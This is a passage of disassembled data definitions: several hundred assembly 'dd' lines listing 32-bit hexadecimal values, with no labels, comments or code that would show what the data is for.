dd 8FD82804h, 0FCEE9680h, 6383FDDDh, 71DF0629h, 0CE1FA1EAh
dd 62EA574Eh, 80EF1A27h, 8173140Fh, 0DA624A43h, 0AF628E7h
dd 4FEE5A74h, 60840CD7h, 3AE62775h, 547888A7h, 0E9283873h
dd 3E107772h, 42C318Ch, 2FFE0D42h, 54E998D9h, 0C772F6E1h
dd 0A4FD8897h, 0E2FCB51Ch, 46138854h, 4EF16D91h, 0CA17F86Fh
dd 0D7FD6DD1h, 4A4DF3EBh, 0B8630CC8h, 0F2BAE100h, 6B8B5B4Ah
dd 0EA15C439h, 6265BBC9h, 9E3B5CC5h, 2B0AA145h, 291F1BC1h
dd 0D8C4392Ch, 7D70CDCEh, 5FE6E68Dh, 0FD24184Ch, 0CA7625ABh
dd 4A26820Eh, 8BC7B348h, 625FEB64h, 48936678h, 6CAB1DDEh
dd 0D59BE3EBh, 6DE110A9h, 203D485Fh, 0AFE1D130h, 0ABA9E94h
dd 0E955DB98h, 0D9651342h, 47B172EBh, 0AD43CF63h, 0C0E1116Bh
dd 0FF4DC5FDh, 33F05BF9h, 0F84CDFDCh, 0EFBB249Fh, 6DB7201Eh
dd 0DD8D73E0h, 4B394148h, 0A913607h, 2CB83A63h, 943EEAC5h
dd 0C7975F45h, 280A68EBh, 844A65C8h, 0A78C9EA7h, 0C4920791h
dd 861775D1h, 0C2C8866Dh, 17C95316h, 0A66969D4h, 2D09D5D3h
dd 0E056801Dh, 0F7B00AB1h, 0FA86BA0Ch, 4072ED32h, 0CD55ECEAh
dd 6892DB52h, 0A3F93C24h, 5ED0C0E1h, 443046D6h, 0A13F9DEDh
dd 13867852h, 490749F0h, 23096194h, 7870ED75h, 0E6989C3Ch
dd 0B9AC240Dh, 64556A5Ch, 0DC8EBE54h, 64E87F2Bh, 26719B80h
dd 0E1D5D7Ah, 0BB29C4F2h, 0F8AC2EE7h, 0EFC87685h, 42A2F51Eh
dd 6AF74E6h, 9AD850C5h, 0FBF38A82h, 78D45992h, 36D35606h
dd 0C91ABB57h, 5AD9FFF1h, 7F7388E4h, 0DC716F30h, 98224C96h
dd 48A079A8h, 0FF762649h, 81CD38C2h, 8E123A4h, 0FE2DAEC9h
dd 4E77E883h, 722A5FBh, 0B7B6E600h, 0F3DA35h, 0BC9166h
dd 5F362E67h, 6E7C6F0Dh, 0E13EDD12h, 33AA0820h, 4F148DF5h
dd 0C2EDEBFh, 124144AAh, 1688AC4Ah, 8BD692A7h, 68BB3975h
dd 47CF16A1h, 0C436DB33h, 2B64DA46h, 805DD703h, 4BB7DA32h
dd 10E02979h, 325225C4h, 457BCE07h, 2639A3BDh, 8B3A89D0h
dd 0E7AC8AC1h, 4C066728h, 5ABF30D1h, 22084510h, 0F4BC514Bh
dd 29B30E8Ah, 0B3C3338Bh, 0B608D0ECh, 5CC895E8h, 8997370Bh
dd 0D57D468Fh, 77F7B22Dh, 4800D300h, 2F3D83E6h, 97BB16E2h
dd 6038CA20h, 747A1F19h, 38612ACCh, 0D866D26h, 0CD886F80h
dd 9EAE626Eh, 28A9B52Dh, 0FC39B5CEh, 60BAFDADh, 7A1E3D2Ah
dd 0B9BADF4Ch, 12BA8457h, 3E88E4B5h, 9A3945D1h, 4ADBDCBAh
dd 84BE20BBh, 4F395h, 0AFD2A6CFh, 80CB49DEh, 37B8B226h
dd 4DC7DB4Ch, 6BA53D87h, 49336EC6h, 4B197D95h, 0F0C18611h
dd 0E0CA58BFh, 451EB916h, 96F28C51h, 0F5E74419h, 8C056B1Ah
dd 9A64899Bh, 69988D54h, 472CEE73h, 7134520h, 1628AFC4h
dd 9EC9ADACh, 8F2E9BF2h, 0D456096h, 4FF318F4h, 267E53DAh
dd 0E563AF6Ch, 7079268Ch, 231B649Eh, 95CBEC74h, 0DDFDD80Eh
dd 0B4F9F1BEh, 910EFE96h, 3D260DA7h, 4EFD4EDDh, 0E016C8A0h
dd 3B4F29C1h, 53388DB9h, 30DA13F1h, 1961DED2h, 523D640h
dd 797F2010h, 0B162E205h, 19695299h, 3B8F6834h, 6D3D7FADh
dd 2FECDE2Dh, 0DF9B8F04h, 2B341010h, 0F14E24BAh, 8C9FE285h
dd 3022052Fh, 0BF9DA1B3h, 1C6A2DA5h, 7ECBD4CDh, 0B7F46244h
dd 0AD281725h, 403BECBAh, 0E0E47AA1h, 591D977Ah, 0C4CC1CCh
dd 34E77FF6h, 71199AD7h, 8A1276E9h, 0E9201B9h, 7C8F88E3h
dd 7AF6E1BBh, 7BDDAD2Eh, 0B1074F9Dh, 341BF0AEh, 0C75EDBC5h
dd 0C9FE64FAh, 0A03EF808h, 0CB5AB931h, 4D1000B0h, 4DAF893Ch
dd 5071F267h, 0DF3F78D5h, 37733A38h, 0F23CFBC2h, 616D8274h
dd 8DB6720h, 3FE3976Ch, 0FE533DAEh, 8558090Bh, 46ADBF74h
dd 7E482E03h, 75ED6CFFh, 0D4B049E6h, 0E9FF06A8h, 3C90CE86h
dd 0CB882813h, 3FC58774h, 31D47ED6h, 1BEC2C8h, 69338D80h
dd 30AE9A83h, 0D5E8302Dh, 0AAD68EBDh, 0AC1995F0h, 4E2D4D2Bh
dd 5A1ACD8Fh, 4988E547h, 771DC150h, 0AC3DD0F1h, 0B0F58050h
dd 2C242FE1h, 0FF9B6EB9h, 0CFEEA00Bh, 30289AD6h, 0D96B4425h
dd 731DF7A5h, 0E33DDC74h, 0A4B15B5Ah, 0A4E9BC99h, 878EBFBFh
dd 0B9F67D1Ch, 9227D0C3h, 0F6913386h, 5896BCDh, 8F23A4CAh
dd 414C608Dh, 642EE5D7h, 892B332Fh, 0A2D93B3Dh, 0DA8EE2BEh
dd 0A6678D00h, 665188FAh, 8501F130h, 23C04E81h, 9A17DB86h
dd 7830CF6Bh, 2105FF36h, 0DDAD18Ah, 0A63611EAh, 7091FB4h
dd 57297643h, 0D8D5E8B4h, 1E109654h, 0D09D5DDEh, 3D143D52h
dd 2A30E04Fh, 0ABAD0A8Bh, 89EE9EA5h, 0E215B0F7h, 6C877F85h
dd 0CFE0D6F5h, 25224783h, 0B2FB7959h, 0B31B6B6Eh, 0C1D4638Eh
dd 42D49FDh, 0ED2A00D0h, 46D47626h, 0CF6EF406h, 91A6ED8Fh
dd 0A47D1208h, 0B91F780Bh, 15BB8BE5h, 31EC717Ah, 0E7CCD277h
dd 9EAE39A9h, 0B0321E52h, 14A68A09h, 0BD1B6A26h, 88A65EDBh
dd 1EF7977Bh, 22DD749Dh, 9B4B2EDEh, 4297AF5Eh, 262CF45Ah
dd 87FC24F4h, 0F4E55173h, 9A695D2Dh, 17953E3Bh, 6E8A3079h
dd 0EC533CAEh, 941B2B6Eh, 0CA268196h, 0D1C2456Dh, 0E5642C21h
dd 692A6271h, 0E168F6BBh, 1440432Bh, 1B5E5297h, 3B733088h
dd 0CCBF156Dh, 91D8396Bh, 69C179C7h, 625CAB42h, 0FFABB52Dh
dd 0A76D50B4h, 0FCAECE6Dh, 1038714h, 6E7BA81Dh, 0A6565142h
dd 0C5E8DCAAh, 5948CD12h, 0E0DA0464h, 21DE7612h, 0C9B1C1DAh
dd 4162EFBAh, 0A13E525h, 4C7A771Ch, 2557B41h, 4F6E2187h
dd 0F30D014Bh, 0DBAFC940h, 2C72D865h, 0B522DEC5h, 19550255h
dd 8866CFA2h, 42C74CE0h, 5EC4225Eh, 96242D89h, 0CA575565h
dd 1DEA4030h, 45097D87h, 5C45EF84h, 66DAC4F6h, 4192F533h
dd 2335593Dh, 413E3438h, 3CBC1E4Eh, 699D56B4h, 0D4E2891h
dd 3015F802h, 6716D564h, 0F104260Eh, 37146F92h, 0C17F3A72h
dd 7DA25DE0h, 0AF7B7EF3h, 0F16B07B2h, 0D41CFB9Ch, 4AB44C9Dh
dd 70764255h, 74F45239h, 0B2B59F0Dh, 1B7DD84Ch, 0AF498EC9h
dd 0FE1D0241h, 0BAD6BB9Ah, 0D031D4ABh, 2EC00FA1h, 0AC772B0Bh
dd 33E05E02h, 2F2E3736h, 4C77CDEh, 4A0E2E1Eh, 1D100966h
dd 0B320355h, 1A6CE1AEh, 0EB6FD3B8h, 0D6BB4415h, 5E07B58Ch
dd 9F8F063Eh, 9B5DD7CEh, 8D409B60h, 7601C5E7h, 0E2C2E9A0h
dd 754EA85Bh, 0EB7B1CAFh, 0AFC232D6h, 0E8DF11C3h, 5EC1EEEh
dd 71AA0E89h, 0D220BA01h, 0A7BD347Ch, 0C7927AB2h, 0F45F6D52h
dd 0CAD20B28h, 6C0F6742h, 0C7E23EB3h, 41F94657h, 0C3A21E3Fh
dd 0E29C60D1h, 0B09F7F87h, 1D9D28C7h, 0E5F1EB0Dh, 5FF13C7Fh
dd 0B347C832h, 0CE4B25B8h
dd 0B2C444E0h, 4871876Dh, 0F1490AD7h, 0B5D9E6CFh, 971D9A93h
dd 99B01CB5h, 0C241DF1Ah, 7547A93Bh, 0ED867F86h, 5CF05CFAh
dd 0BFFC0376h, 0EF18E432h, 0D50DEBF2h, 0BB48F50Eh, 0E36BDB3Bh
dd 6EB82A8h, 79A271AEh, 75ECB1B2h, 0B4AEFF26h, 0B5540C92h
dd 0E44138E3h, 5E63DE37h, 0B7DD9951h, 98FD1D98h, 81E1517Dh
dd 54A8D850h, 0BB4AF2CEh, 5CE8EE3Bh, 0D124DBDBh, 25F16372h
dd 0B3508120h, 685F9B1Ah, 348C1F64h, 309A0C56h, 0B1106FBCh
dd 52A2F5C1h, 30B11A61h, 0E49DA9B3h, 0F45257F8h, 0F10ECC24h
dd 8C6721C4h, 1BEC531Ah, 5DB1283Fh, 6B880006h, 5B836B3Eh
dd 0A79A4DDAh, 0EC66124Ch, 0E602345Ah, 43C914CFh, 8DC9A671h
dd 0BAD9B2A2h, 2158CCADh, 21456E1Bh, 729E9646h, 6F0BEFBCh
dd 39B6F971h, 2EF9909Fh, 1D2A45F2h, 0A1D56DECh, 576F7CF2h
dd 9CE6FBB2h, 3DDB1394h, 435C58B7h, 0CCD09F3Bh, 165911B6h
dd 0F89F0805h, 2E846FB6h, 34BA0220h, 14EFE562h, 0ADEBD970h
dd 6671099Fh, 83AEE229h, 0F99E7F05h, 0C8E833B3h, 0E2E53C11h
dd 1D9E8613h, 867FE65Eh, 39526AF0h, 815D9758h, 45A382DDh
dd 0A5894905h, 0CBCCCF2Ah, 9FE27EF0h, 60D0EEFDh, 309C4A0Ah
dd 0C3C4E8B3h, 1852C96Fh, 9634179Dh, 75C533D9h, 649E8F43h
dd 7392CC78h, 0B3A4CA37h, 89BFB2EBh, 732F60DCh, 0AF5418E6h
dd 32F953BEh, 9DD75784h, 0B08FA54Ah, 41AC2E5Ah, 0DDE36AB6h
dd 0EAD5AF97h, 4CE58894h, 63752DF4h, 6778C36Bh, 0F84921D8h
dd 0ED35F100h, 7FD5FB0Ch, 0B1BA991Dh, 8D3715EFh, 72F761A2h
dd 1C7B68BCh, 0F000F4F3h, 0AF451C19h, 7070CD06h, 134019C5h
dd 0FAE1F923h, 5BAA7B55h, 0FD322A2Ah, 442AFFB8h, 0E4A30B68h
dd 2F5A764Fh, 1C81AD59h, 0D5319E2Ch, 0FA8B09CCh, 3184DDD3h
dd 0C7FBA022h, 0EF46F698h, 0C6C8D298h, 0F229A6Ch, 3DE29B87h
dd 0E13AA3F0h, 0FCD3B0D1h, 5DBA93AFh, 393CE2D0h, 99E68B61h
dd 8D34ACAEh, 7916C7E5h, 0D98F47D5h, 43BC3899h, 1C6D242Dh
dd 873E26FBh, 3AB847E0h, 0D1592296h, 1C8077C0h, 25F9A3Ch
dd 0D1E9B912h, 326D8FF9h, 6F6EA012h, 17C3D7BAh, 0AC2B43F4h
dd 6B290C6Eh, 4BAF4D0Dh, 0C91D3406h, 913531DEh, 5304E27Ah
dd 9B68BA27h, 11F3296Eh, 97014547h, 0A7E197BCh, 4CFC0D2Bh
dd 39EC4476h, 4F6C3C21h, 23B99F04h, 0D3DB68B9h, 28136E36h
dd 0F4947DFh, 0AB58E949h, 59C1BA27h, 0DC86B324h, 5D917E3h
dd 3462A28Fh, 84ACE61Bh, 0D3054770h, 0E88E27F6h, 55B3231Fh
dd 0FD3345CEh, 0E2E32BDAh, 6C326D0h, 8E23131Ch, 0AE1562FFh
dd 0E5397C0Ah, 0C993B9F0h, 0AC4039AEh, 0E089D003h, 94076F86h
dd 1049D4CEh, 1B7FE47h, 0EF793229h, 0AD262C2Eh, 0D0F1774Ah
dd 6336D1FEh, 87F85B67h, 29F88CEDh, 0A6A8A52Ch, 0E822B424h
dd 5A6FEF39h, 8853FFCAh, 32491D51h, 0CBA2F92Bh, 71AE8BA5h
dd 7D63B5B6h, 2ECB5CE0h, 0F9DB8C2Ch, 40366736h, 86E8F8A8h
dd 34964692h, 1BEEB56Ah, 0D287EE2h, 2D27448Bh, 4A53CDA8h
dd 7685B38Dh, 54F16BD4h, 26F0FF9Ch, 5F21D26h, 3F0EB274h
dd 3E9DA95Dh, 6953A050h, 0BD929AB5h, 7CD15D38h, 4ACA790Ch
dd 0EC4D63FAh, 0E05CA3D0h, 2E821030h, 0B74CEAE9h, 0DFDBF36Dh
dd 30F686E0h, 0D2D52FE2h, 596D384Ah, 205F55A8h, 0D83796A0h
dd 0C191919Eh, 1D09351Eh, 0EBA28920h, 0A6B08F2Bh, 0D39BC317h
dd 42F14FE2h, 2C699408h, 7DCBABAh, 81BB8507h, 0C567C798h
dd 95C466EBh, 9C47B256h, 0D31C5938h, 0DC234F34h, 7315016Dh
dd 6DE728CBh, 0BD91A33Ch, 9C61C384h, 7F75B93h, 3917DAA2h
dd 717E241Fh, 0B9A0438Ch, 0F4C1271Dh, 947FFD73h, 6A2D3D1Bh
dd 0F692B0C2h, 1CA73FD4h, 7FC1A559h, 0F7F68C8h, 2BEF85A2h
dd 7CFC82A1h, 48AD10F4h, 84443D48h, 9D3BE6D9h, 0B80B3AFh
dd 0B92FA6D5h, 73177F9Bh, 42B7C1Fh, 7EF1582Ah, 0A4E08092h
dd 77724DC6h, 1DCD150Ah, 8CC4E902h, 0C34BBF4Bh, 2512B6C4h
dd 0C207B88Dh, 72C0A1Dh, 0F12A65FDh, 6C82E76Ah, 978EC3E4h
dd 57FE907h, 79DEA62Fh, 0B91A3E96h, 0F51B8E87h, 0A6FB3A8h
dd 0E4B712B5h, 39EFB3h, 293A0C0Ch, 1EBD4A0Ah, 0D4B2C132h
dd 0D978956Ch, 3C02DE90h, 0F8746279h, 9DCD3E6Dh, 0F92A7518h
dd 0FB66F177h, 0AAD56E72h, 42945373h, 0F38262D3h, 0CD14C4E4h
dd 8990D16Dh, 8F5A7305h, 396D191Ch, 7534CA0Eh, 0A2F467FEh
dd 0C537AAA2h, 0CA6AE660h, 4F93E4F6h, 0E1DE02A9h, 3D5E541Eh
dd 461C4257h, 0D0F8CFBCh, 5BD7C225h, 755C5BB0h, 39C1757h
dd 0E0AE81B9h, 97450E7Ah, 8BBD1B06h, 3E7B6AC0h, 2E1255FCh
dd 9E375EB9h, 0F6CE8A5h, 622B4CD2h, 231FC8FAh, 987F603Ch
dd 0D55E5833h, 723E0F4Ch, 96654FEFh, 259FE57h, 584D9743h
dd 0CB4DD8F0h, 71F82D0Eh, 57A58295h, 0CF8BB90h, 5D40DABBh
dd 34150E6Eh, 0E84B5BCDh, 0DB21773Eh, 901B8274h, 0CD9DA6A2h
dd 0F71BBAF7h, 1A029301h, 0A72D5027h, 0DE86FFCh, 0E9CEA118h
dd 8B8CF00Ch, 8B64C891h, 41727CEh, 0BC4AFDE1h, 7299DFC3h
dd 47A5D08Fh, 0A593D9D1h, 752D32CEh, 0A151EFF0h, 648306B1h
dd 0AB33B5B3h, 0F9E9A60Fh, 6CA5D769h, 0A7E71DC0h, 0E40D8D8Ah
dd 0E8533ED8h, 0C699AB9h, 7107C444h, 769D81C3h, 62BE5C9Bh
dd 11109147h, 731648C1h, 0C5845946h, 65712CBAh, 0FD56E2B1h
dd 0B95B6E90h, 0AF65BDF5h, 0DB954841h, 0FB5D87B3h, 0F3D499E3h
dd 0F331CF7Bh, 0DB5B34DDh, 5A4FB147h, 70B3A40Ch, 0FC91957Eh
dd 3308D476h, 57A661A9h, 0DEB5AA48h, 774D8859h, 0B97402B7h
dd 574D0DC8h, 0F1C204FCh, 0B333F4A2h, 758139AFh, 51213155h
dd 53931424h, 2487E5A8h, 18711C22h, 97574470h, 82E5F553h
dd 0D4ECA728h, 750225C1h, 48B87EDDh, 0E64A07ECh, 780EB1ECh
dd 44C0ABC4h, 0F11B82EFh, 5106895Eh, 8232AC0Ch, 0A3F0A384h
dd 3F6BE20Ah, 7AA8CB63h, 0A3A935DDh, 8D83E7F8h, 0DA0386C2h
dd 0E50686DDh, 0BBF622A0h, 0A0891708h, 0B75CF249h, 0B993D113h
dd 0BE265FFEh, 2BFCF157h, 0FA97FF40h, 0F383FDC5h, 44507B78h
dd 0B5267833h, 371DB25Dh, 3418E723h, 6E72C692h, 78884650h
dd 16CBCEF7h, 0A6FDC38Ch, 91779AE3h, 2A3E24E6h, 0F037CA15h
dd 38D81AE7h, 1C8B4B60h, 0B8A21F21h, 0BA23632h, 0B24C2765h
dd 0D0A38548h, 0E433F632h, 2D417703h, 35BBFE09h, 0BB4D5176h
dd 8F75A7BDh, 0B28AE0CAh, 0D261E7E8h, 0FC2D8AB3h, 8823CF93h
dd 5F8EB3C3h, 0F45D3665h, 0B9991428h, 0C0FCD6B4h, 74D86D05h
dd 0D687CE1Ch, 1ADAC203h, 0CF361603h, 0DA900736h, 925A5613h
dd 2917FE1Dh, 0FEF58B02h, 16B78B24h, 19A41668h, 55FF01C9h
dd 1975FBB1h, 30C2D254h, 359F731Eh, 4612F0Eh, 37783BB9h
dd 0ECC412E1h, 2ED37E4Fh, 0BE16EAFBh, 0CE1E7863h, 2A988A6Dh
dd 2EC926DBh, 0F7B7CBA7h, 99CEC743h, 4BD972EFh, 66BDBA29h
dd 31C0114Ah, 1E6B36F0h, 0D09D67F5h, 0DC7F7A26h, 97BF0BE9h
dd 0BAAF94EDh, 0EA7D18F1h, 0A15FA9CFh, 4FAFAF78h, 7B717A12h
dd 0FA683FC9h, 0E2B9BB2Bh, 2DFB1BE7h, 0F445AC71h, 1FE2BFB3h
dd 2CBF52B5h, 189161DDh, 4EB6D360h, 459F4835h, 0E0AF8AA1h
dd 0DA77B66h, 6E125B0Bh, 596DB5EAh, 0E49A6529h, 3727B0EBh
dd 9B57EB92h, 997A99E1h, 0D7421D15h, 1ADBD345h, 0A260489h
dd 0E6E06EBBh, 8C4C0ADAh, 9488FA2Eh, 496D2F8Bh, 5F373D9Dh
dd 75DEAB6Bh, 3EE7ACB9h
dd 0BC7AB574h, 0D6CCA65Ah, 60BA1595h, 0BFB06C4Bh, 0B70D8E2Bh
dd 5089B79Ah, 0E58109C3h, 0B7CA589Dh, 0B0F61C4Ah, 1000411Ch
dd 608537A9h, 31F22ED7h, 6E08E0Eh, 278333D5h, 56AE445Ah
dd 5BB08DE7h, 0EE623FB7h, 0F5F603AFh, 0DADBF5F0h, 3A94D0CFh
dd 3CCFAE19h, 0A428D1BBh, 0EE448DD9h, 576CC2FEh, 0D5DA69EBh
dd 73B84C06h, 0B44F501h, 8B38D8F4h, 84EAA974h, 15D746Dh
dd 44AB42B7h, 0E8525FCCh, 0B6168CA6h, 0B2E951B8h, 0B700A54Ch
dd 626A97C8h, 8FD7E41Ch, 3EBB7715h, 753B7B45h, 9673C0DBh
dd 0E6458E8h, 0DBA015A0h, 0A5BAC2C8h, 0E058BCCh, 900A82B2h
dd 0C61FAAB6h, 0EE9F83FCh, 32C3B380h, 0B8B3F165h, 606F7549h
dd 0F7F90FE3h, 0E7DD1D6Eh, 8D2A93E5h, 0B8C12C9Ah, 6097C6AEh
dd 0DC1B0138h, 0F553C3D5h, 0BC5AD98h, 0BC503144h, 74F40773h
dd 0B58F75D6h, 915CB5F3h, 5BBFA062h, 8FBDD3D3h, 0B1622A7Ah
dd 48A08A35h, 41E3C604h, 92ED7013h, 581F0082h, 2BFE4856h
dd 0B969055Fh, 6BDA133Fh, 8E4C49C0h, 0AD043FBBh, 0D3DD00FBh
dd 0D7A7ED7Bh, 0B3FEFFABh, 708668F3h, 8979207h, 0C254F801h
dd 1FB93B00h, 4E83DA2Ah, 0E61F06E3h, 5B59E88h, 0A342CD8Dh
dd 761D2C07h, 306830F6h, 6779ED76h, 645B6CC7h, 7A366F42h
dd 0C0696D6h, 1DFCCBB9h, 0D2186134h, 3C0A2F28h, 85361AECh
dd 0D92C0055h, 351C1103h, 62A777F4h, 48FD98C1h, 0CA6107ABh
dd 0ABFF7550h, 34D96D57h, 2B1BD3E5h, 0B269ABF6h, 0F8DB39FBh
dd 76DDF9B2h, 0AE7DC1BFh, 395FE1FAh, 0DD213EFEh, 613C30B2h
dd 0E9A41668h, 0AAB069DEh, 0ED0D1F2Ah, 372707B1h, 0B71C3B90h
dd 24E0F6E2h, 3717BA13h, 57591FB4h, 0DD0F10BBh, 565278E9h
dd 0CFFB2C63h, 25D74349h, 1C2BF67h, 60D8D9E0h, 0FFFE33A6h
dd 1798E842h, 79567AFDh, 7C12261h, 9E3D873Eh, 0A0058FA1h
dd 4B76347Ch, 3083C2B7h, 0FC890749h, 0CF52A29Fh, 1E2BFCC1h
dd 2B775606h, 0CA8F57B1h, 608075B3h, 0F179C074h, 0D1F13D72h
dd 547F962Eh, 45073B58h, 0B467C42h, 3F765CDFh, 8DF474FDh
dd 0A3299E4Dh, 7AD3D989h, 9B13EAEDh, 0D1A3E06Bh, 0FE6BC0F0h
dd 905E28DBh, 31904472h, 22E976B5h, 72F3D64h, 0C24F7CC5h
dd 5A337FC9h, 99DFE3D0h, 0BB23C785h, 0E4D04276h, 0B60CEE48h
dd 5A218CB3h, 0C7C40D51h, 6DB718B2h, 0EB309F4Fh, 0B8B7F091h
dd 369B5CE0h, 85C2C748h, 65FD45FDh, 0A97B6773h, 0F3EA8528h
dd 0DAD94C1Eh, 744BFDC7h, 0B6E810A9h, 0A07DEAABh, 7A6DE74Fh
dd 0A7C21621h, 958587BCh, 561A17E5h, 0A61BAEDCh, 11C9177Ch
dd 0E8A31481h, 715879Ch, 8AC96917h, 2E8B2019h, 66242ABDh
dd 8FAEFC84h, 0EE180735h, 0B526F77Eh, 6AA64A32h, 682291F7h
dd 9EF04062h, 0B5193801h, 0DE01E0C6h, 56D9C86Ch, 24BC3708h
dd 0C52784ADh, 0CB7E80h, 906988A2h, 0E64AA08Ch, 0C293F1C9h
dd 90B2EB32h, 2DA0D148h, 93B8DE5Ah, 0D71F7209h, 7257C2F4h
dd 94ADF72h, 6A264F0Dh, 27A83803h, 44ADD64Eh, 5CBF4D17h
dd 0E5784B1Dh, 0C200165Ch, 26460E7h, 56C047FFh, 2A820477h
dd 0FD35CF7Ah, 0DD1C978Eh, 0F283B45Fh, 800BA45Fh, 6271F379h
dd 0B96D89AAh, 39EC4F74h, 0B299FF52h, 0E29A4C6Dh, 5F9F6170h
dd 7DAB2BC4h, 88FD8C99h, 96A2A538h, 1C8F6474h, 8381A652h
dd 1DD5E704h, 44CFFD58h, 0F844E89h, 3E587F16h, 26DDFAEBh
dd 77D5296Eh, 141F6D63h, 6DC5FCF8h, 12FC9591h, 0C6CBF1F8h
dd 0F2D6EB61h, 5C1A1174h, 0AFFF6AC0h, 0CB11A842h, 77EAE320h
dd 0AC02477Dh, 45F3AA97h, 52523834h, 0C034078Ah, 28CCE580h
dd 20D3AE5Ch, 5933878Dh, 1024B882h, 0BABC3900h, 5E7CF4B4h
dd 70083108h, 0B847A0E9h, 0CC9C56BDh, 0DF1983F8h, 0FC2220B2h
dd 213BA5D7h, 482893D3h, 0DCC9FB1h, 6261361Bh, 0D54A3E73h
dd 65B8BA9Ah, 0F1261DBCh, 3DA8E221h, 657C4A99h, 0B217C8A8h
dd 0D59B54C8h, 18578AC5h, 0D08A7BB6h, 19E555C6h, 42AA06Fh
dd 0D8F12C32h, 2EF57097h, 8B6872CEh, 832F4A5Ch, 0E03BE63Eh
dd 0FE1D2801h, 7891105Ch, 0F7E9490Eh, 0B1AC8D89h, 0B64E78F7h
dd 7790E209h, 46420C6Ah, 8B9C933h, 0A65F14BDh, 0D84D8D57h
dd 0FC5D6C5Eh, 0D191A0D2h, 0C4FB470Bh, 9A730CB4h, 0B43E0BE5h
dd 0C90B8BEh, 5515F3C7h, 0FE954C61h, 0EAA24A76h, 121B6C9h
dd 55B2047Ch, 0AB6A8E26h, 0BF5BA5A5h, 13D9BF30h, 0A7797164h
dd 5B1277F5h, 0BFB40182h, 0C30BC2E6h, 4FC8FB68h, 0DF8C7C49h
dd 0A7BF9534h, 2A254F5h, 91D9377Ch, 58BFD437h, 3E560516h
dd 3AE767B6h, 0BFD1AD00h, 39F8A627h, 0F2A845FEh, 727B67Eh
dd 0CDB4B52h, 2D7366F6h, 31D4E712h, 6F907AC3h, 5022F129h
dd 1BF105FAh, 0A09A1C28h, 0A1A3C83h, 7217D64Bh, 5CAC12BEh
dd 51E24466h, 32C3F00Fh, 7289E4ADh, 80AF6386h, 0E0041C84h
dd 902E2321h, 657D11C8h, 0CA376BFEh, 0ED7BBEF0h, 0A591A001h
dd 0BCA33A3h, 0C0908C28h, 772E5830h, 71F542EDh, 45B43F66h
dd 55D71062h, 83E21A43h, 20A440E2h, 0A3DB6Eh, 80E83285h
dd 0AE61731h, 8DDA17Ah, 61210543h, 729EF129h, 0B7F5B8E8h
dd 506CC48Bh, 0A3DA93B5h, 0A791F6C4h, 0CB9F267Dh, 3DEB40EBh
dd 9DDFD32Eh, 0B1454E2h, 3EAAE99Eh, 0E5621DA7h, 366AAEB2h
dd 0A1BD6CB9h, 0C5991CCDh, 0FB06F111h, 0A15E3BDh, 7C2D9793h
dd 0DA6426DBh, 6295C95Eh, 30C9E8B8h, 0BE515038h, 3FE012D4h
dd 3B2A90Fh, 0A671E7CEh, 2F4F594Ch, 5DA50C5Fh, 0EB10E341h
dd 829ADE26h, 530E43DDh, 1F1E110Bh, 0C63478ADh, 319B5064h
dd 7662067Ah, 899667D0h, 6DAA3935h, 4822CE0Dh, 210ED95Ah
dd 4CBFA568h, 0BFF050E7h, 61F67671h, 0DCF4AFE1h, 0E8013037h
dd 0DA3888AFh, 0BD8A3BA8h, 78610548h, 230EF9B4h, 64D1E21Ch
dd 3431D540h, 5AEFA4D9h, 77E1CE53h, 0EA13E558h, 0BDB03887h
dd 8AB76861h, 0A0FF3B31h, 1F1407C9h, 0E4A8BE48h, 87D70A2Ch
dd 0C8B7640Ah, 63A7535Ah, 0A992D9BFh, 0E3F2F8E5h, 0E49520D0h
dd 0D5E9A6A9h, 718241B4h, 0C45588Ch, 0EF977536h, 0CE6467Fh
dd 4C26DD3Ah, 35E1319Ah, 0E2E1D980h, 55AB0503h, 7770E0E9h
dd 0AB60CC1Ch, 0CC761153h, 517791C3h, 0C5B0C70Ah, 32847333h
dd 0D1DBAA08h, 0F8D0857Dh, 895A50FBh, 0D7587253h, 0DAF25214h
dd 1D2E3E7h, 0BA5DE90Ah, 0D76454E7h, 0E75E8CE0h, 0F0A8E4ACh
dd 6B995297h, 0F23169BBh, 9D7634B7h, 0DF56E67Fh, 0F156314h
dd 0F80AB9BDh, 0ACE35F13h, 863F914Ch, 19550131h, 788672A1h
dd 7F564BA3h, 49306EB2h, 95D2A935h, 0E02DD3A4h, 37EAC9DDh
dd 0DCEEECFDh, 23C0B1A6h, 25DE0AE1h, 0C2AE4E58h, 1D4AC210h
dd 0FB69FF92h, 9AF02134h, 1987BA40h, 0D411FA1Fh, 6CFF628Ch
dd 0BF25F7D2h, 46B36A2Eh, 3AE6905Ch, 430B3E11h, 1DE330D9h
dd 0DFA54019h, 0A3F4E13Eh, 3B38E6B2h, 0BE17DBD9h, 0E8935A07h
dd 5CC5F81Eh, 5937B0A2h, 965BDF8Bh, 0F94E057Ah, 4342B849h
dd 72240802h, 9F630D4Fh, 5B722E1Eh, 65658750h, 398CFD56h
dd 0BD92C697h, 8EF523CBh, 6E10122Fh, 0DFA12E1Ch, 0C9A95F3Fh
dd 0E77C452Bh, 0E944884Eh, 4C158FF5h, 4F1CEE8Eh, 1276FD10h
dd 2CF4AA4Fh, 813B82DCh, 6FC30F1Dh, 0E86DE323h, 0E9F7AA08h
dd 9A7E0C22h, 705F6F8Fh, 8F6E177h, 8476FE38h, 0A18001DDh
dd 0AA1E2E0Ch, 1A499E36h, 564FB456h, 3BC1A933h, 352ED33Eh
dd 2630BF77h, 8D01AC03h
dd 0F4319A47h, 8F4A42F7h, 8669CE33h, 6C517737h, 0E842D44Bh
dd 0B5A7C8BFh, 241A0AB5h, 0DF801038h, 0F02DC782h, 0D51CB7A0h
dd 6A02099Eh, 0F672EF53h, 64AB056Fh, 0B902EB33h, 375F88DEh
dd 0DC34FEA6h, 0B770EF0Ch, 2D24E360h, 0CB84E8B7h, 9D84A506h
dd 0F7FFAC0h, 6EE5180Ah, 0B107F252h, 0C1D331C2h, 0CC4D4571h
dd 7D1C28DAh, 767F368Dh, 0E1B67675h, 971E549Ch, 0A8E82911h
dd 0FABE006Dh, 78B7735Ah, 86B8A549h, 923C0401h, 0F702463Fh
dd 24EE2DF4h, 2DC8F012h, 2D3A1FCFh, 0C8302A2Fh, 0CE03B7EBh
dd 9489083Dh, 0F2E3DC6Bh, 0ECF02D7h, 9CE9660Ch, 0B92B7BE8h
dd 119FBFAFh, 9819F5BBh, 3441F7FCh, 0DC819044h, 0C59B8B31h
dd 0A6864C1h, 0B27DEA6Ah, 0EFAE66CAh, 4CDC2B18h, 7FF18C75h
dd 4C0336ADh, 782AEA6Bh, 9D709C98h, 986864FFh, 3D4D01C1h
